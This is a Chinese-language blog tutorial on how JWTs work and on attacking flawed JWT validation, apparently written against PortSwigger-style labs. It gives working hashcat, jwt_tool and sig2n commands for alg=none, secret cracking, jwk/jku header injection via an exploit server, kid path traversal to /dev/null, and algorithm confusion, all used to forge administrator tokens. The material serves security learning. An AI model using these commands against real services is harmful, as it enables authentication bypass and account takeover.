JWT原理及利用手法

发布于:2025-07-21 ⋅ 阅读:(18) ⋅ 点赞:(0)

JWT 原理

JSON Web Token (JWT) 是一种开放的行业标准,用于在系统之间以 JSON 对象的形式安全地传输信息。这些信息经过数字签名,因此可以被验证和信任。其常用于身份验证、会话管理和访问控制机制中传递用户信息。

与传统的会话令牌相比,JWT 的一个显著特点是服务器端无需存储会话信息,所有必要数据都存储在客户端持有的 JWT 本身之中。这一特性使得 JWT 在高度分布式的网站架构中备受青睐,因为它能让用户无缝地与多个后端服务器进行交互。

JWT 格式

一个标准的 JWT 由三部分组成:头部(header)、载荷(payload)和签名(signature)。这三部分由点(.)分隔,其结构如下例所示:

eyJraWQiOiJrZXktMDAxIiwiYWxnIjoiUlMyNTYifQ.eyJpc3MiOiJhdXRoLmV4YW1wbGUuY29tIiwiZXhwIjoxNzE1MTgzOTY3LCJuYW1lIjoiQWxpY2UiLCJzdWIiOiJhbGljZSIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNzE1MTgwMzY3fQ.FLA_8VwA23y2s2R-flXm9uG4P4a7aH7eGf7uG_FvC_D9_B9g_fB_A9F8E_7c6_a5_D4C_B3_a2_f1

JWT 的 header 和 payload 部分本质上是经过 Base64Url 编码的 JSON 对象。头部包含了关于令牌本身的元数据,而 payload 则包含了关于用户的实际声明信息。

header
  • 头部 (Header) 是一个 JSON 对象,通常包含两部分信息:令牌的类型(typ),即 “JWT”,以及所使用的签名算法(alg)。
  • 该 JSON 对象最终会经过 Base64Url 编码,构成 JWT 的第一部分。
{
  "kid": "key-001",
  "alg": "RS256"
}
payload
  • 载荷 (Payload) 同样是一个 JSON 对象,用于存放需要传递的实际数据,这些数据被称为“声明(Claims)”。
  • 声明可以包含预定义的标准字段(例如 iss - 签发者, exp - 过期时间, sub - 主题),也可以包含自定义的私有字段。
  • 需要注意的是,载荷部分也只是经过 Base64Url 编码,并没有加密,因此不应该在其中存放密码等敏感信息
{
  "iss": "auth.example.com",
  "exp": 1715183967,
  "name": "Alice",
  "sub": "alice",
  "role": "user",
  "iat": 1715180367
}
signature
  • 签名 (Signature) 是 JWT 最关键的部分,用于验证令牌的真实性和完整性。
  • 签名的生成过程如下:
    1. 将经过 Base64Url 编码的 header 和 payload 用点(.)连接起来,形成一个待签名的字符串。
    2. 使用 header 中指定的签名算法,并配合一个密钥,对这个字符串进行签名。

验签

对称加密

签名的核心作用是防止篡改。当服务器收到一个 JWT 时,它会执行以下验证步骤:

  • 重新计算签名: 服务器提取接收到的 JWT 的 header 和 payload,然后使用自己安全保存的密钥和 header 中指定的算法,重新计算一次签名。
  • 比较签名: 将新计算出的签名与接收到的 JWT 中的原始签名进行比较。
    • 如果两者一致,说明令牌没有被篡改过,是可信的。
    • 如果两者不一致,说明令牌在传输过程中被修改过或伪造,服务器会拒绝这个请求。
非对称加密
  • 执行验证操作: 服务器提取接收到的 JWT 的 header、payload 和 signature。然后,它会使用自己保存的公钥和 header 中指定的算法(如 RS256),对 header、payload 和原始签名执行验证。
  • 判断验证结果:
    • 如果验证成功,说明签名有效。这能同时证明两件事:
      • 令牌确实是由持有对应私钥的一方签发的。
      • 令牌的内容 (header 和 payload) 在传输过程中没有被篡改过。
    • 如果验证失败,说明令牌是伪造的、被篡改过的,或者是公钥和签发者的私钥不匹配。服务器会拒绝这个请求。

攻击 JWT

利用有缺陷的 JWT 签名验证

接受任意签名
漏洞成因

在Java开发中,jjwt 库是处理JWT的流行选择。它同样存在可能被误用的API设计。

  • 不安全的 parse() 方法:某些旧版本的 jjwt 或在特定用法下,单独的 parse() 方法可能只解码而不验证签名。
  • 安全的 parseClaimsJws() 方法:这个方法的名字明确表示它期望处理的是一个JWS(JSON Web
    Signature),因此它会强制验证签名。如果签名验证失败,它会抛出 SignatureException。
攻击过程

以普通用户身份登录后,尝试访问管理员界面,系统提示需要管理员权限。

该网站使用 JWT 进行认证,当前用户的权限不足。

使用在线工具对 JWT 进行解码,可以看到 payload 部分显示当前用户为 alice,服务器正是通过该字段进行身份校验的。

sub 字段的值修改为 administrator,保持 signature 不变,重新生成 JWT 并替换原有的令牌。

成功使用 administrator 权限访问该页面。

接受无签名的令牌
漏洞成因

JWT 头部包含一个 alg 参数,该参数告知服务器对令牌进行签名时所使用的算法,以及在验证签名时应采用哪种算法。

{
  "kid": "key-id-12345",
  "alg": "RS256"
}

JWT 标准允许使用多种不同的算法进行签名,但同时也支持不签名。在这种情况下,alg 参数会被设置为 none。如果服务器未能正确校验 alg 参数,完全信任客户端提供的值,攻击者便可以提交一个无签名的令牌来绕过验证。

攻击过程

场景同上,当前用户无法访问目标接口。

alg 的值修改为 none,将 payload 中的 sub 值修改为 administrator,然后删除 signature 部分,但保留末尾的点(.),生成一个新的 JWT。

替换原始 JWT 并重放请求,成功访问该接口。

暴力破解密钥

漏洞成因

在实现 JWT 应用时,开发人员有时会犯一些低级错误,例如忘记更改默认或占位符密钥。他们甚至可能直接复制粘贴了网上的代码片段,而没有修改其中作为示例提供的硬编码密钥。在这种情况下,攻击者可以使用一份包含常见密钥的字典,对服务器的签名密钥进行暴力破解。

攻击过程

场景同上。使用 hashcat 工具进行爆破,字典可以在 GitHub 上寻找高星项目。

hashcat -a 0 -m 16500 eyJraWQiOiI1MDc1M2E3OS1kZTczLTQ1NzQtOGM1Ny04MTY4NzAxYjdhNTUiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc1MjkzMjQ4MCwic3ViIjoid2llbmVyIn0.EKgXRif5vH2aT_3Dj7P5stV6xhhlp-i_CLWtEFsQgKE jwt.secrets.list

成功爆破出 JWT 密钥。

使用破解出的密钥重新生成一个具有管理员权限的 JWT。

替换原 JWT 并重放数据包,成功访问。

JWT Header 参数注入

通过 jwk 参数注入自签名 JWT
漏洞成因

理想情况下,服务器应仅使用一个预置的、受信任的公钥白名单来验证 JWT 签名。然而,配置错误的服务器有时会使用 jwk (JSON Web Key) Header 参数中嵌入的任何密钥。攻击者可以利用此行为,先使用自己的 RSA 私钥对修改后的 JWT 进行签名,然后将匹配的公钥嵌入 jwk 标头中,从而诱骗服务器使用攻击者提供的密钥来完成验证。

jwk Header 示例:

{
    "kid": "attacker-key-1",
    "typ": "JWT",
    "alg": "RS256",
    "jwk": {
        "kty": "RSA",
        "e": "AQAB",
        "kid": "attacker-key-1",
        "n": "..."
    }
}
攻击过程

使用 jwt_tool 这款工具可以方便快捷地利用此漏洞。输入如下命令:

# 假设的命令,替换了敏感信息
python .\jwt_tool.py -t https://example.com/admin -rc 'session=eyJraWQiOiJlNTFlMzllMS01MTYwLTRhYjEtYmU5Yi00ZWE4ZGMzYWZmNDAiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc1MjkzNTgwOCwic3ViIjoid2llbmVyIn0.RNIqK_ziuL2NlDsgR-QDiYfOdGt-CA2zgl0luR5i3CVYOHk1lj98pGwF0-X5UpiJ-Dp4b2IY-5cT0pnwUZtGmxo7a8NZ_2jhxG8WbJiTRzUyEWrsNxITlgBoFV1eFzrkTbgbmMcVfwooxS61i93QdhhVz9tHiy5jiP2AxigCCo5wLwhYX7no0Rv-bavsFSh0lhf70oZdZ_17KlYqlf_EGRxrt8UIEplXZ97_P-qx-2gKDDMouNxY_wwobihf-lW1ocvlA25SzxHEdn-2v55q5xT4TMSRj2yv1hiRP9U3YI8_HiRBbkiUW7sXIs6qutGPGjCkPCcsaiS37dVAT3abHw' -np -I -pc "sub" -pv "administrator" -X i

可以看到利用成功,并且能在日志中找到新构造的 JWT。

使用新的 JWT 重放数据包,成功以 administrator 用户身份访问。

在这里插入图片描述

通过 jku 参数注入自签名 JWT
漏洞成因

某些服务器不直接使用 jwk 标头参数嵌入公钥,而是允许使用 jku(JWK Set URL)标头参数来引用一个包含密钥集的 URL。在验证签名时,服务器会从此 URL 获取相关密钥。如果服务器信任任意 jku 指向的 URL,攻击就可能发生。

攻击过程

此攻击需要一个托管我们 JWKS 的服务器。首先,将 jwt_tool 生成的 JWK 部分复制到该服务器。需要注意的是jku 攻击中 jwt_tool 不会自动处理 kid,需要手动将原始 JWT 的 kid 复制并替换掉生成内容中的 kid

接着使用 jwt_tool,并使用 -ju 参数指向我们托管 JWKS 的服务器地址。

# 假设的命令,替换了敏感信息
python .\jwt_tool.py -t https://example.com/admin -rc 'session=eyJraWQiOiI2ZmFmZjk3ZC1hNzUxLTRjM2QtYWY5Zi04ZjI2YzZmZDZiMzMiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc1Mjk5Mjc2Nywic3ViIjoid2llbmVyIn0.fMvjZTuQnoCUMkc0HG9kaHzctTJYIdakB6qoOLaWoMkLHNLJ4niHd4x33rOZizjTeL-nZdoETNCe4tC7WLBCrkKfdJZBEIlCjrvw0OZ80XDem2npMv4cCtRT7EgcP8NRo5DBNHtd9pAOR7zAjNs6D9_5fQTgxaOKOXGI8GAhJa8ui_Sj8ILYnN1ejvKAU6YCfw9FX02My1NcNdmK7Ba5_weYalX8C5Trcl2rn4o6uJ21V7XiPftz0XH-X-cXBfsKsbIh1_50GLGtgrFlN-gN4emXhbcrN8KIL4cVa6EWMsSu1ZqEMbezPJGw7lMctPhW2K7J0TfVUJTnpqVEtjbBbg' -np -I -pc "sub" -pv "administrator" -X s -ju 'https://exploit-0ab20073040299de837d41cc011e0036.exploit-server.net/exploit'

使用新生成的 JWT 访问该接口,攻击成功。

通过 kid 参数注入自签名 JWT
漏洞成因

这个漏洞的利用需要满足几个前提条件:

  • 信任 alg 参数:服务器允许客户端在 JWT 的头部指定使用的签名算法,并据此来验证签名。
  • 信任 kid 参数:服务器完全信任 JWT 头部中的 kid (Key ID) 参数。
  • kid 用于读取文件:服务器内部的逻辑是,把 kid 参数的值当作一个文件名(或文件路径的一部分),然后从硬盘上读取这个文件的内容来作为验证用的密钥。
  • 存在目录遍历漏洞:在拼接文件路径时,服务器没有正确处理 ../ 等路径穿越字符,导致攻击者可以通过 kid 参数读取到预期目录之外的任意文件。

利用这些条件,攻击者可以使用一个对称加密算法(如 HS256),并通过路径穿越,指定一个服务器上已知的、内容固定的文件作为签名密钥,例如 Linux 系统下的 /dev/null

攻击过程

同样使用 jwt_tool 进行攻击,指定 kid../../../../../../../dev/null,并将密钥指定为空字节(因为 /dev/null 的内容为空),成功将用户提权到 administrator

# 假设的命令,替换了敏感信息
python .\jwt_tool.py -t https://example.com/admin -rc 'session=eyJraWQiOiJhNjIyM2FhZS0zNGVhLTQ3ZGYtOGI1OC1kZWE3MzNlZjQwZDIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc1Mjk5NjcyMiwic3ViIjoid2llbmVyIn0.dtLkZnYfOd5Ls6yWGZ98w5ONT5kVwHgbHpJ5LeO5ubE' -np -I -pc "sub" -pv "administrator" -hc "kid" -hv "../../../../../../../dev/null" -X b

使用新的 JWT 重放数据包,攻击成功。

算法混淆攻击

泄露公钥的场景
漏洞成因

这是一种利用开发者编码错误的典型攻击场景。在验证 JWT 的过程中,如果代码逻辑是为非对称加密算法(如 RS256)设计的,它会直接使用公钥进行验签。但当开发者没有对传入的 alg 参数做严格限制时,攻击者可以传入一个使用对称加密算法(如 HS256)签名的 JWT。
如果此时服务器的验证逻辑不变,它可能会错误地将本应用于验证公钥,当作了对称加密算法的签名密钥来使用。在公钥容易被泄露(例如通过 /.well-known/jwks.json 等接口)的情况下,攻击者便可伪造通过校验的 JWT。

攻击过程

首先,通过公开接口收集到服务器的公钥。

使用工具将其转换为 PEM 格式,并保存到本地文件 public.pem

使用 jwt_tool 执行攻击,将 alg 修改为 HS256 并用获取到的公钥作为密钥来签名,构造一个新的 JWT,成功将权限提升到 administrator

# 假设的命令,替换了敏感信息
python .\jwt_tool.py -t https://example.com/admin -rc 'session=eyJraWQiOiI5ODY4YTliOC0zYzM3LTRiZDctOTI0YS0xMzUwNWRmODc3YmYiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc1MzAwMDg1Nywic3ViIjoid2llbmVyIn0.Wjv2YdNi1l_XgUUqHISF9OGbiWUtGbqaRMjVqRgSV_2Pq3J8omvvmC-qrdMm1s_76pryxd6TZyLsMQETbtOayD5SR4Hym-U9v6XmfEYVmEQAvrLhvUJYni7oMnq9RHLNUiSvBTZXjCrkcLk2GKs-pp9C3vLGInjGhhYBQGX-YlWF9I-S5-lc_GiW5lCWlVbqS8BopQG0QaSBZcPS4zcBxxlzj5CCGdIlP38VajiLY5q0I-3SfBlnyOtVpIhHQrFMONlqESYH6gyKOj1uuRaNR3UWk6dasGBHnCRKpwwskXm8gHzMZDjGFbkwRi7pfQ1bwWud9mko1q8leO6A-gcN3g' -np -I -pc "sub" -pv "administrator" -X k -pk public.pem 

替换 JWT 并重放数据包,攻击成功。

从现有 jwt 获取公钥
漏洞成因

RSA 签名的生成与一个巨大的数字——模数 n——密切相关。这个 n 是公钥和私钥共有的一个核心组成部分。通常情况下,仅从一个签名是无法反推出 n 的。

但是,如果攻击者能获得由同一个私钥签发的两个不同 JWT 的签名,就可以通过数学计算来恢复出这个共享的模数 n,进而重构出公钥。

如何获取两个不同的 JWT?

  • 用同一个账号,登出后再重新登录,两次登录获得的 JWT 可能不同(比如 iatexp 时间戳不同)。
  • 用同一个账号,修改一下个人资料(如邮箱、昵称),服务器可能会重新签发一个包含新信息的 JWT。
  • 注册两个不同的用户账号 user1user2,如果服务器用的是同一个私钥为所有用户签名,那么这两个 JWT 也可以用于此攻击。
攻击过程

通过连续登录两次获取到两个不同的 JWT,然后使用 sig2n 等工具恢复模数 n,成功拿到两个可能的公钥。

# 假设的命令,替换了敏感信息
docker run --rm -it some-tools/sig2n <jwt_token_1> <jwt_token_2>

分别对两个 Base64 字符串进行解码,得到两个 PEM 格式的公钥。

其中一个公钥是正确的。剩下的步骤就和上一节的算法混淆攻击一样,利用这个公钥将权限提升到 administrator


网站公告

今日签到

点亮在社区的每一天
去签到